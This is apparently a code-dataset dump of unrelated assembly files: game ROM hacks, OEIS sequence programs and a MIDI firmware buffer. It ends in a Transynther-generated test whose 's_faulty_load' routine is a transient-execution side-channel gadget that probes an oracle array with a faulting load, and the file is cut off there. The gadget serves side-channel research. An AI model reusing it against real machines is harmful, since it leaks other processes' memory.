; increment the speed index so it uses faster speeds NoFastSpeed: ; LDA XSpeed,y ; set the sprite X speed STA $B6,x ; InAir: ; LDA $1FE2,x ; if the timer to show the half-smushed Rex is set... BNE NoUpdate ; don't update sprite position JSL $81802A ; NoUpdate: ; LDA $1588,x ; AND #$03 ; if the sprite is touching the side of an object... BEQ NoFlipDir ; LDA $157C,x ; EOR #$01 ; flip its direction STA $157C,x ; NoFlipDir: ; JSL $818032 ; interact with other sprites JSL $81A7DC ; interact with the player BCC NoContact ; carry clear -> no contact LDA $1490 ; if the player has a star... BNE StarKill ; run the star-killing routine LDA $154C,x ; if the interaction-disable timer is set... BNE NoContact ; act as if there were no contact at all LDA #$08 ; STA $154C,x ; set the interaction-disable timer LDA $7D ; CMP #$10 ; if the player's Y speed is not between 10 and 8F... BMI SpriteWins ; then the sprite hurts the player JSR RexPoints ; give the player some points JSL $81AA33 ; boost the player's speed JSL $81AB99 ; display contact graphics LDA $140D ; if the player is spin-jumping... ORA $187A ; or on Yoshi... BNE SpinKill ; then kill the sprite directly INC $C2,x ; otherwise, increment the sprite state LDA $C2,x ; CMP #$02 ; if the sprite state is now 02... BNE HalfSmushed ; LDA #$20 ; set the time to show the fully-squished remains STA $1558,x ; RTS HalfSmushed: ; LDA #$0C ; set the time to show the partly-smushed frame STA $1FE2,x ; (since when is $1FE2,x a misc. sprite table?) STZ $1662,x ; change the sprite clipping to 0 for the half-smushed Rex RTS SpriteWins: ; LDA $1497 ; if the player is flashing invincible... ORA $187A ; or is on Yoshi... BNE NoContact ; just return ; custom HP counter damage start LDA #$02 STA !HurtFlag LDA !extra_prop_1,x STA !FreeRAM LDA !extra_prop_2,x STA !FreeRAM+1 ; custom HP counter damage end %SubHorzPos() ; TYA ; make the Rex turn toward the player JSL $80F5B7 ; and hurt the player NoContact: ; RTS ; SpinKill: ; LDA #$04 ; sprite state = 04 STA $14C8,x ; spin-jump killed LDA #$1F ; set spin jump animation timer STA $1540,x ; JSL $87FC3B ; show star animation LDA #$08 ; STA $1DF9 ; play spin-jump sound effect RTS ; StarKill: ; LDA #$02 ; sprite state = 02 STA $14C8,x ; killed (by star) and falling offscreen LDA #$D0 ; STA $AA,x ; set killed Y speed %SubHorzPos() ; LDA DeathSpeed,y ; set killed X speed STA $B6,x ; INC $18D2 ; increment number of consecutive enemies killed LDA $18D2 ; CMP #$08 ; if the number is 8 or greater... BCC Not8Yet ; LDA #$08 ; keep it at 8 STA $18D2 ; Not8Yet: ; JSL $02ACE5 ; give points LDY $18D2 ; CPY #$08 ; if the number is less than 8... BCS Return01 ; TYX ; LDA $037FFF,x ; play a sound effect depending on that number STA $1DF9 ; LDX $15E9 ; Return01: ; RTS ; RexPoints: ; PHY ; LDA $1697 ; consecutive enemies stomped CLC ; ADC $1626,x ; plus number of enemies this sprite has killed (...huh?) INC $1697 ; increment the counter TAY ; -> Y INY ; increment CPY #$08 ; if the result is 8+... BCS NoSound ; don't play a sound effect TYX ; LDA $037FFF,x ; star sounds (X is never 0 here; they start at $038000) STA $1DF9 ; LDX $15E9 ; NoSound: ; TYA ; CMP #$08 ; if the number is 8+... BCC GivePoints ; LDA #$08 ; just use 8 when giving points GivePoints: ; JSL $82ACE5 ; PLY ; RTS ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; graphics routine ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RexGFX: LDA $1558,x ; if the Rex is not squished... BEQ NoFullSquish ; don't set the squished frame LDA #$05 ; STA $1602,x ; set the frame (fully squished) NoFullSquish: ; LDA $1FE2,x ; if the time to show the half-squished Rex is nonzero... BEQ NoHalfSquish ; LDA #$02 ; STA $1602,x ; set the frame (half-squished) NoHalfSquish: ; %GetDrawInfo() LDA $1602,x ; ASL ; frame x 2 STA $03 ; tilemap index LDA $157C,x ; STA $02 ; PHX ; LDX #$01 ; tiles to draw: 2 GFXLoop: ; PHX ; TXA ; ORA $03 ; add in the frame PHA ; and save the result LDX $02 ; if the sprite direction is 00... BNE FaceLeft ; then the sprite is facing right... CLC ; ADC #$0C ; and we need to add 0C to the X displacement index FaceLeft: ; TAX ; LDA $00 ; CLC ; ADC XDisp,x ; set the tile X displacement STA $0300,y ; PLX ; previous index back LDA $01 ; CLC ; ADC YDisp,x ; set the tile Y displacement STA $0301,y ; LDA Tilemap,x ; STA $0302,y ; set the tile number ; set the tile properties depending on direction LDX $02 LDA TileProp,x ORA $64 STA $0303,y TYA ; LSR #2 ; OAM index / 4 LDX $03 ; CPX #$0A ; if the frame is 5 (squished)... TAX ; LDA #$00 ; set the tile size as 8x8 BCS SetTileSize ; LDA #$02 ; if the frame is less than 5, set the tile size to 16x16 SetTileSize: ; STA $0460,x ; PLX ; pull back the tile counter index INY #4 ; increment the OAM index DEX ; if the tile counter is positive... BPL GFXLoop ; there are more tiles to draw PLX ; pull back the sprite index LDY #$FF ; Y = FF, because we already set the tile size LDA #$01 ; A = 01, because 2 tiles were drawn JSL $81B7B3 ; finish the write to OAM RTS ;
23.679144
128
0.556346
ab9bd345c148499641dc8f8e384af2683520000d
1,482
asm
Assembly
programs/oeis/145/A145109.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/145/A145109.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/145/A145109.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A145109: a(n) = 2*n * core(2*n). ; 4,4,36,16,100,36,196,16,36,100,484,144,676,196,900,64,1156,36,1444,400,1764,484,2116,144,100,676,324,784,3364,900,3844,64,4356,1156,4900,144,5476,1444,6084,400,6724,1764,7396,1936,900,2116,8836,576,196,100,10404,2704,11236,324,12100,784,12996,3364,13924,3600,14884,3844,1764,256,16900,4356,17956,4624,19044,4900,20164,144,21316,5476,900,5776,23716,6084,24964,1600,324,6724,27556,7056,28900,7396,30276,1936,31684,900,33124,8464,34596,8836,36100,576,37636,196,4356,400,40804,10404,42436,2704,44100,11236,45796,1296,47524,12100,49284,3136,51076,12996,52900,13456,6084,13924,56644,3600,484,14884,60516,15376,2500,1764,64516,256,66564,16900,68644,17424,70756,17956,8100,4624,75076,19044,77284,19600,79524,20164,81796,576,84100,21316,1764,21904,88804,900,91204,5776,10404,23716,96100,24336,98596,24964,101124,1600,103684,324,106276,26896,108900,27556,111556,7056,676,28900,12996,29584,119716,30276,4900,7744,125316,31684,128164,3600,131044,33124,133956,8464,136900,34596,139876,35344,15876,36100,145924,2304,148996,37636,152100,784,155236,4356,158404,400,161604,40804,164836,41616,168100,42436,19044,10816,174724,44100,178084,44944,181476,45796,184900,1296,188356,47524,191844,48400,195364,49284,198916,3136,900,51076,206116,51984,209764,52900,213444,13456,217156,6084,220900,55696,224676,56644,228484,14400,232324,484,2916,59536,4900,60516,244036,15376,248004,2500 sub $0,1 mul $0,2 add $0,3 cal $0,53143 ; Smallest square divisible by n. mov $1,$0
164.666667
1,361
0.797571
af0560acf90e7cc8d86ad67034c742bac2f7a152
1,869
asm
Assembly
Engine Hacks/ReaverSplit/Reaver WTA Split/Reaver and Double WTA Split And Nullify_For Dancer_A.asm
sme23/Christmas2
f3f3daeda1afe2b78bfed38cbf60d8bc17ca9f79
[ "CC0-1.0" ]
3
2020-06-15T14:22:38.000Z
2020-06-28T19:44:52.000Z
Wizardry/SmeHax/ReaverSplit/ReaverWTASplit/ReaverandDoubleWTASplitAndNullify_For Dancer_A.asm
sme23/WhatHeck
746a2be83358aaa4e855182176b47c4808f2587a
[ "CC0-1.0" ]
null
null
null
Wizardry/SmeHax/ReaverSplit/ReaverWTASplit/ReaverandDoubleWTASplitAndNullify_For Dancer_A.asm
sme23/WhatHeck
746a2be83358aaa4e855182176b47c4808f2587a
[ "CC0-1.0" ]
null
null
null
.thumb .org 0x2A120 Reaver_Calc: @r0 is the unit with the reaver/weapon in question @r1 is the other unit ldr r2, Auxiliary_Routine_Location mov pc, r2 .align Auxiliary_Routine_Location: .long 0x083689E0 .org 0x2A1CA mov r0, r4 mov r1, r5 bl Reaver_Calc pop {r4-r6} pop {r0} bx r0 .org 0x3689E0 @free space @We know that at least one of these units has at least one of the reaver/nullify effect. @Check both for nullify effect first. push {r4-r6} ldr r4,[r0,#0x4C] @weapon effect ldr r5,[r1,#0x4C] mov r6, #0x40 lsl r6, #0x10 @Weapon ability 3, effect 0x40 and r4, r6 and r5, r6 orr r4, r5 cmp r4, #0x0 bne nullify ldr r4,[r0,#0x4C] @weapon effect ldr r5,[r1,#0x4C] mov r6, #0x80 lsl r6, #0x2 and r5, r6 @r5 = defender has double and r4, r6 @r4 = attacker has double orr r4, r5 @Do either have double? lsr r4, #0x9 @shove it into the lo bit ldr r2,[r0,#0x4C] lsr r6,r6,#0x1 and r2,r6 @r2 = reaver-ness of first weapon ldr r3,[r1,#0x4C] @first weapon was a reaver. Second?(for canceling out) and r3,r6 @r3 = reaver-ness of second weapon mov r5, r2 eor r2,r3 @2 reavers cancel out. and r5, r3 cmp r5, #0x0 bne return @they were both reavers @r3, r5, and r6 are open. @r2 is whether we should apply reaver effect, r4 is whether we should double WTA mov r3,#0x53 @weapon triangle hit ldsb r5,[r3,r0] lsl r5,r5,r4 cmp r2, #0x0 @do we have a reaver bne reaver_hit neg r5, r5 reaver_hit: strb r5, [r1, r3] neg r5,r5 strb r5,[r3, r0] add r3, #0x1 @now for might bonuses ldsb r5,[r3, r0] lsl r5,r5,r4 cmp r2, #0x0 @do we have a reaver bne reaver_might neg r5, r5 reaver_might: strb r5,[r3, r1] neg r5,r5 strb r5,[r3, r0] return: pop {r4-r6} bx r14 nullify: mov r3,#0x53 mov r5, #0x0 strb r5,[r3,r0] strb r5,[r3,r1] add r3, #0x1 strb r5,[r3,r0] strb r5,[r3,r1] b return
19.673684
88
0.673622
5edda6233ebb28ca8e19dbbb07a4016222fb564d
2,364
asm
Assembly
src/sysexbuffer.asm
staskevich/MIDICPU
a34d8f932a754de6b30c04571228d4c12ab71f78
[ "CC-BY-4.0" ]
14
2017-07-12T21:54:06.000Z
2021-07-26T14:28:08.000Z
src/sysexbuffer.asm
staskevich/MIDICPU
a34d8f932a754de6b30c04571228d4c12ab71f78
[ "CC-BY-4.0" ]
null
null
null
src/sysexbuffer.asm
staskevich/MIDICPU
a34d8f932a754de6b30c04571228d4c12ab71f78
[ "CC-BY-4.0" ]
4
2017-12-17T12:30:34.000Z
2020-05-20T03:55:35.000Z
; MIDI CPU ; copyright John Staskevich, 2017 ; john@codeandcopper.com ; ; This work is licensed under a Creative Commons Attribution 4.0 International License. ; http://creativecommons.org/licenses/by/4.0/ ; ; sysexbuffer.asm ; ; Default contents of sysex uffer used for generating outbound SysEx. ; list p=16f887 #include <p16f887.inc> ; Outbound SysEx Data Buffer sysexbuffer code 0x1F00 ; org 0x1F00 data 0x0000 data 0x0001 data 0x0002 data 0x0003 data 0x0004 data 0x0005 data 0x0006 data 0x0007 data 0x0008 data 0x0009 data 0x000A data 0x000B data 0x000C data 0x000D data 0x000E data 0x000F data 0x0010 data 0x0011 data 0x0012 data 0x0013 data 0x0014 data 0x0015 data 0x0016 data 0x0017 data 0x0018 data 0x0019 data 0x001A data 0x001B data 0x001C data 0x001D data 0x001E data 0x001F data 0x0020 data 0x0021 data 0x0022 data 0x0023 data 0x0024 data 0x0025 data 0x0026 data 0x0027 data 0x0028 data 0x0029 data 0x002A data 0x002B data 0x002C data 0x002D data 0x002E data 0x002F data 0x0030 data 0x0031 data 0x0032 data 0x0033 data 0x0034 data 0x0035 data 0x0036 data 0x0037 data 0x0038 data 0x0039 data 0x003A data 0x003B data 0x003C data 0x003D data 0x003E data 0x003F data 0x0040 data 0x0041 data 0x0042 data 0x0043 data 0x0044 data 0x0045 data 0x0046 data 0x0047 data 0x0048 data 0x0049 data 0x004A data 0x004B data 0x004C data 0x004D data 0x004E data 0x004F data 0x0050 data 0x0051 data 0x0052 data 0x0053 data 0x0054 data 0x0055 data 0x0056 data 0x0057 data 0x0058 data 0x0059 data 0x005A data 0x005B data 0x005C data 0x005D data 0x005E data 0x005F data 0x0060 data 0x0061 data 0x0062 data 0x0063 data 0x0064 data 0x0065 data 0x0066 data 0x0067 data 0x0068 data 0x0069 data 0x006A data 0x006B data 0x006C data 0x006D data 0x006E data 0x006F data 0x0070 data 0x0071 data 0x0072 data 0x0073 data 0x0074 data 0x0075 data 0x0076 data 0x0077 data 0x0078 data 0x0079 data 0x007A data 0x007B data 0x007C data 0x007D data 0x007E data 0x007F end
15.76
88
0.674704
49b3729bd12bd2d4209ed0140f56f1770340ef16
5,077
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_769.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_769.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_769.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r8 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0xc1e7, %r14 nop nop nop nop add $45645, %rsi mov (%r14), %r8w nop add $21545, %rbx lea addresses_WC_ht+0x17de9, %r11 cmp $14710, %r13 movups (%r11), %xmm6 vpextrq $1, %xmm6, %r8 nop and $15949, %r11 lea addresses_normal_ht+0x82e9, %r13 nop nop nop nop and %rbx, %rbx movl $0x61626364, (%r13) sub %rsi, %rsi lea addresses_UC_ht+0x144e9, %rsi lea addresses_D_ht+0x2e38, %rdi nop nop nop nop nop xor $62048, %r14 mov $36, %rcx rep movsw nop and $52003, %rcx lea addresses_WT_ht+0x10fed, %r14 nop xor %rbx, %rbx movb $0x61, (%r14) nop nop nop cmp %r14, %r14 pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %rax push %rbx push %rdx push %rsi // Faulty Load lea addresses_PSE+0xece9, %rsi nop nop nop nop nop inc %rbx mov (%rsi), %rax lea oracles, %r12 and $0xff, %rax shlq $12, %rax mov (%r12,%rax,1), %rax pop %rsi pop %rdx pop %rbx pop %rax pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}} {'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
46.577982
2,999
0.659642
054bb9b0bbd5df806c90bc41610301582ed45e9f
393
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/l_f48_conv_float.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/l_f48_conv_float.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/l_f48_conv_float.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_fp_math48 PUBLIC l_f48_ftof16 PUBLIC l_f48_f16tof EXTERN asm_f32_f48 EXTERN asm_f48_f32 EXTERN asm_f24_f32 EXTERN asm_f32_f24 EXTERN asm_f16_f24 EXTERN asm_f24_f16 .l_f48_ftof16 call asm_f32_f48 call asm_f24_f32 jp asm_f16_f24 .l_f48_f16tof call asm_f24_f16 call asm_f32_f24 jp asm_f48_f32
14.555556
26
0.725191
afea6e0b5d848da851b3de17b402fffa37574aed
1,617
asm
Assembly
programs/oeis/278/A278049.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/278/A278049.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/278/A278049.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A278049: a(n) = 3*(Sum_{k=1..n} phi(k)) - 1, where phi = A000010. ; 2,5,11,17,29,35,53,65,83,95,125,137,173,191,215,239,287,305,359,383,419,449,515,539,599,635,689,725,809,833,923,971,1031,1079,1151,1187,1295,1349,1421,1469,1589,1625,1751,1811,1883,1949,2087,2135,2261,2321,2417,2489,2645,2699,2819,2891,2999,3083,3257,3305,3485,3575,3683,3779,3923,3983,4181,4277,4409,4481,4691,4763,4979,5087,5207,5315,5495,5567,5801,5897,6059,6179,6425,6497,6689,6815,6983,7103,7367,7439,7655,7787,7967,8105,8321,8417,8705,8831,9011,9131,9431,9527,9833,9977,10121,10277,10595,10703,11027,11147,11363,11507,11843,11951,12215,12383,12599,12773,13061,13157,13487,13667,13907,14087,14387,14495,14873,15065,15317,15461,15851,15971,16295,16493,16709,16901,17309,17441,17855,17999,18275,18485,18845,18989,19325,19541,19793,20009,20453,20573,21023,21239,21527,21707,22067,22211,22679,22913,23225,23417,23813,23975,24461,24701,24941,25187,25685,25829,26297,26489,26813,27065,27581,27749,28109,28349,28697,28961,29495,29639,30179,30395,30755,31019,31451,31631,32111,32387,32711,32927,33497,33689,34265,34553,34841,35093,35681,35861,36455,36695,37091,37391,37895,38087,38567,38873,39269,39557,40097,40241,40871,41183,41603,41921,42425,42641,43181,43505,43937,44177,44753,44969,45635,45923,46283,46619,47297,47513,48197,48461,48821,49157,49853,50069,50621,50969,51437,51725,52439,52631,53351,53681,54167,54527,55031,55271,55919,56279,56771,57071 mov $2,$0 add $2,1 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 cal $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n. add $1,$0 lpe sub $1,1 mul $1,3 add $1,2
95.117647
1,353
0.773036
3ee46bfcb6a1fdaa494686b96970d5d77ef171bb
362
asm
Assembly
programs/oeis/187/A187891.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/187/A187891.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/187/A187891.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A187891: a(0)=0, a(1)=5, a(n)=a(n-1)+a(n-2)-1. ; 0,5,4,8,11,18,28,45,72,116,187,302,488,789,1276,2064,3339,5402,8740,14141,22880,37020,59899,96918,156816,253733,410548,664280,1074827,1739106,2813932,4553037,7366968,11920004,19286971,31206974,50493944,81700917 mov $3,4 lpb $0 sub $0,1 mov $2,$1 mov $1,$3 add $1,1 sub $3,1 add $3,$2 lpe mov $0,$1
25.857143
212
0.668508
9d9ef15ec625e35fd74c5da75d7d6e19ab93ded8
375
asm
Assembly
oeis/264/A264854.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/264/A264854.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/264/A264854.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A264854: a(n) = n*(n + 1)*(11*n^2 + 11*n - 10)/24. ; Submitted by Jon Maiga ; 0,1,14,61,175,400,791,1414,2346,3675,5500,7931,11089,15106,20125,26300,33796,42789,53466,66025,80675,97636,117139,139426,164750,193375,225576,261639,301861,346550,396025,450616,510664,576521,648550,727125,812631,905464,1006031 sub $1,$0 bin $1,2 mul $1,11 sub $1,2 bin $1,2 mov $0,$1 div $0,33
31.25
228
0.712
599cb6d659687cb5f447e9d8ba27b4db1a7ffa59
5,869
asm
Assembly
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xa0_notsx.log_38_1455.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xa0_notsx.log_38_1455.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xa0_notsx.log_38_1455.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %r15 push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x1bf27, %rsi lea addresses_WT_ht+0x1117c, %rdi clflush (%rsi) nop nop nop dec %rbp mov $11, %rcx rep movsb nop nop nop nop nop add %r15, %r15 lea addresses_D_ht+0x1b1de, %r10 nop sub %r14, %r14 movb (%r10), %r15b nop nop add $50859, %rcx lea addresses_D_ht+0x1342e, %r10 nop nop nop nop cmp %rcx, %rcx movups (%r10), %xmm3 vpextrq $0, %xmm3, %r15 and $28280, %r15 lea addresses_normal_ht+0x391e, %r14 nop nop nop inc %rsi mov $0x6162636465666768, %r15 movq %r15, (%r14) nop nop nop nop xor $12064, %r10 lea addresses_D_ht+0x75de, %rbp nop nop nop nop lfence mov $0x6162636465666768, %rsi movq %rsi, %xmm6 and $0xffffffffffffffc0, %rbp movntdq %xmm6, (%rbp) nop nop nop nop nop and $59293, %r15 lea addresses_A_ht+0x1201e, %rsi lea addresses_WT_ht+0x9d3e, %rdi clflush (%rdi) nop nop nop nop nop and %r14, %r14 mov $56, %rcx rep movsl nop cmp %r15, %r15 lea addresses_WT_ht+0x15efe, %rsi lea addresses_WT_ht+0x11986, %rdi xor $36678, %r11 mov $68, %rcx rep movsq nop nop nop nop add $14638, %r11 lea addresses_WC_ht+0x1d1de, %r10 nop add $31815, %rcx mov $0x6162636465666768, %rsi movq %rsi, %xmm6 vmovups %ymm6, (%r10) nop nop nop nop nop xor $26069, %r11 lea addresses_D_ht+0xedde, %rdi nop nop nop nop nop inc %r14 mov $0x6162636465666768, %r15 movq %r15, (%rdi) nop nop nop nop nop sub $6274, %r10 pop %rsi pop %rdi pop %rcx pop %rbp pop %r15 pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r15 push %rcx push %rdi push %rsi // REPMOV lea addresses_RW+0x12bde, %rsi lea addresses_WT+0x5de, %rdi nop nop lfence mov $59, %rcx rep movsb inc %r15 // Load lea addresses_WT+0xd4e6, %r13 clflush (%r13) nop lfence vmovups (%r13), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %r10 nop nop add %r10, %r10 // Store lea addresses_A+0x1194e, %r12 nop nop nop nop nop xor $39868, %rcx mov $0x5152535455565758, %rdi movq %rdi, %xmm7 vmovups %ymm7, (%r12) nop nop cmp %r15, %r15 // Store lea addresses_PSE+0x57f4, %rcx dec %r13 mov $0x5152535455565758, %r12 movq %r12, %xmm4 movups %xmm4, (%rcx) nop nop nop sub %r13, %r13 // 